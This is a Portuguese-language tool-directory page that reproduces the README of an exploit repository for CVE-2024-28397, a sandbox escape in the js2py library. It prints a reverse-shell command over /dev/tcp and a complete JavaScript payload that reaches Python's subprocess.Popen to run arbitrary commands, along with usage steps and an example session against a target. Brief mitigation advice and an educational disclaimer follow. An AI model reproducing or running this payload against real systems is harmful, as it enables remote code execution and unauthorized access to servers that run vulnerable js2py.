Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — # Scripts de exploração para CVE-2024-28397, uma fuga de sandbox do js2py que executa código Python arbitrário para gerar uma shell reversa em um endpoint alvo. | Kitploit
Ferramentas/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

# Scripts de exploração para CVE-2024-28397, uma fuga de sandbox do js2py que executa código Python arbitrário para gerar uma shell reversa em um endpoint alvo.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
35há 11 mesesAinda não revisado
Compartilhar

CVE-2024-28397 js2py Exploit de Escape de Sandbox

Uma coleção de scripts de exploit direcionados à vulnerabilidade de escape de sandbox do js2py (CVE-2024-28397) que permite execução arbitrária de código através da introspecção de objetos Python.

🔍 Visão Geral da Vulnerabilidade

A biblioteca js2py contém uma vulnerabilidade crítica de escape de sandbox que permite que atacantes executem código Python arbitrário acessando objetos Python internos através do método Object.getOwnPropertyNames() do JavaScript.

Detalhes Técnicos

  • CVE ID: CVE-2024-28397
  • Biblioteca Afetada: js2py (tradutor de JavaScript para Python)
  • Vetor de Ataque: Escape de sandbox via introspecção de objetos Python
  • Impacto: Execução Remota de Código (RCE)

📋 Análise de Referência

Este exploit é baseado na análise abrangente de Marven11:

  • Documento de Análise: CVE-2024-28397 js2py Análise de Escape de Sandbox

🛠️ Scripts de Exploit

Este repositório contém três implementações diferentes:

1. Script Bash (exploit.sh)

Implementação leve em bash usando curl e jq.

2. Script Go (exploit.go)

Implementação Go multiplataforma com cliente HTTP embutido.

🚀 Início Rápido

Pré-requisitos

  • Para o script Bash: curl, jq, base64
  • Para o script Go: Go 1.16+

Uso

Todos os scripts são interativos e solicitarão as informações necessárias:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Prompts Interativos

Cada script perguntará por:

  1. URL Alvo: O endpoint executando código js2py vulnerável
  2. Seu IP: O endereço IP da sua máquina para reverse shell
  3. Sua Porta: Número da porta para conexão reverse shell

Exemplo de Sessão

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Como Funciona

1. Geração do Payload

O exploit cria dinamicamente um comando reverse shell:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Codificação Base64

O comando shell é codificado em base64 para transmissão segura:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. Escape de Sandbox JavaScript

O exploit central usa JavaScript para acessar objetos internos do Python:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Fluxo de Execução

  1. Acessar o sistema de objetos do Python através de Object.getOwnPropertyNames({})
  2. Navegar para as classes base via __class__.__base__.__getattribute__
  3. Procurar subclasses por subprocess.Popen
  4. Executar comandos arbitrários do sistema através de Popen

🛡️ Mitigação

  • Atualizar o js2py para uma versão corrigida
  • Implementar validação e sanitização adequadas de entrada
  • Usar alternativas seguras de sandboxing
  • Aplicar medidas de segurança em profundidade (defense-in-depth)

📚 Propósito Educacional

Estes scripts são fornecidos apenas para fins educacionais e de testes autorizados. Sempre certifique-se de ter a devida autorização antes de testar em qualquer sistema.

🔗 Referências

  • CVE-2024-28397 Entrada Oficial
  • Análise Detalhada de Marven11
  • Repositório GitHub do js2py

⚖️ Aviso Legal

Este software é fornecido apenas para fins educacionais e de testes de segurança autorizados. Os usuários são responsáveis por cumprir as leis aplicáveis e obter a devida autorização antes do uso.

Baixar ferramenta